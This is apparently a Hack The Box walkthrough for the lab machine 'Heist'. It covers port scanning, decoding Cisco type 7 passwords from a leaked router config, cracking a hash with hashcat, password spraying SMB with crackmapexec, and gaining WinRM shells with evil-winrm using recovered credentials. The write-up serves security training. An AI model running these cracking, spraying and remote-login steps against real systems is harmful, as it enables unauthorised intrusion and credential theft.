Heist

https://app.hackthebox.com/machines/201

Nmap

sudo nmap 10.10.10.149 -p- -sS -sV                               

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Starting out we dive straight into port 80 where we are present with a login page. Testing with some common usernames and credentials proves unsuccessful.

Interesting attachment

We then use the "Login as guest" option and are directed to the /issues.php page. On this we see the user Hazard has attached a router configuration file.

The contents of the Cisco router configuration has been inserted below.

version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

Cisco Password Cracker

A little bit of research shows the Cisco "7" passwords can be easily decrypted to reveal the corresponding plain text string.

The following URL can be used to decrypt Cisco 7 passwords. Where we input both strings to get the passwords shown below.

Passwords:

• $superP@ssword

• Q4)sJu\Y8qz*A3?d

hashcat

This encrypted secret string within the file was then cracked using hashcat.

hashcat -a 0 -m 500 hash.hash /usr/share/wordlists/rockyou.txt

Password Spraying #1

Storing all the cracked passwords within a file alongside discovered potential usernames we then password spray with crackmapexec against SMB on the target system.

crackmapexec smb '10.10.10.149' -u ~/Desktop/usernames -p ~/Desktop/passwords -d 'heist.htb' --shares

Where the following user credentials are revealed:

hazard:stealth1agent

Using the new set of credentials we can perform further recon against the target host to discover even more users.

enum4linux -u 'hazard' -p 'stealth1agent' -r '10.10.10.149' -w 'heist.htb'| grep 'Local User'

Password Spraying #2

With a more complete list of usernames we then spray again against SMB.

crackmapexec smb '10.10.10.149' -u ~/Desktop/usernames -p ~/Desktop/passwords -d 'heist.htb' --continue-on-success

Where the following user credentials are revealed:

chase:Q4)sJu\Y8qz*A3?d

WinRM

Using the newly acquires credentials we test WinRm with Evil-WinRm and obtain a foothold.

evil-winrm -i '10.10.10.149' -u 'chase' -p 'Q4)sJu\Y8qz*A3?d'

User Flag

Grabbing the user.txt flag.

Mozilla Maintenance Logs

Performing application enumeration on the target system we find Mozilla Firefox is installed.

Searching through the log files it is revealed the administrator has used credentials inline with the Firefox process which has been logged by the Mozilla Maintenance service.

Credentials: Administrator:4dD!5}x/re8]FBuZ

Root Flag

The credentials are then used against the system over WinRm and confirmed administrative access.

evil-winrm -i '10.10.10.149' -u 'administrator' -p '4dD!5}x/re8]FBuZ'